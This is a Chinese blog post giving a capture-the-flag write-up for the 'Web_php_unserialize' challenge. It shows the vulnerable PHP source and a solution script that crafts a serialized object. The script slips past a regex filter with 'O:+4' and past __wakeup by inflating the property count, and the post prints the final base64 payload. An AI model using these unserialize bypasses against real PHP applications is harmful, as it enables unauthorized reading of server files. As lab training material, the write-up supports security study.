美文网首页
攻防世界-Web_php_unserialize

攻防世界-Web_php_unserialize

作者: 好好睡觉鸭 | 来源:发表于2020-11-12 10:39 被阅读0次

高手进阶区,Web_php_unserialize

题目来源:攻防世界
题目直接给出源码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

__construct()方法在serialize()才调用,与此题目无关
绕过__wakeup(),绕过正则后调用__destruct()
解题代码,在线运行

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $A = new Demo('fl4g.php');
    $b = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
    $b = str_replace(':1:', ':2:',$b);//绕过wakeup
   //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    echo (base64_encode($b));
  //TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
 ?>

相关文章

  • 攻防世界-Web_php_unserialize

    高手进阶区,Web_php_unserialize 题目来源:攻防世界[https://adworld.xctf....

  • 攻防世界新手

    就按照题目的难易程度写 新手区没有涉及到栈的相关知识,几乎是栈漏洞 get_shell 第一个题目比较简单 ida...

  • 攻防世界 lottery

    .git源码泄露/题目也给了附件下载源码/访问robots.txt也能看到.git代码审计,审了好久都没找到漏洞点...

  • 2019-05-30 新手练习区完结

    至此攻防世界的pwn新手练习区完结了

  • 攻防世界 Re wp

    hello ctf sprintf():int sprintf( char *buffer, const char...

  • 攻防世界 Crypto wp

    easy rsa p和q为选取的两个大素数 e为随机选取的小于r =(p-1)(q-1)的数 d为e关于模r的模反...

  • 攻防世界 Pwn wp

    0x01get_shell 下载附件后直接丢IDA F5 0x02CGfsb 先用checksec查看开了哪些保护...

  • 攻防世界 string wp

    参考:CTF-wiki格式化字符串漏洞利用 0x01寻找漏洞 -checksec -在IDA中对文件进行分析。 查...

  • iOS安全攻防

    iOS安全攻防 iOS安全攻防

  • 攻防世界-unserialize3

    高手进阶区,unserialize3 题目来源:攻防世界[https://adworld.xctf.org.cn/...

网友评论

      本文标题:攻防世界-Web_php_unserialize

      本文链接:https://www.haomeiwen.com/subject/nqwubktx.html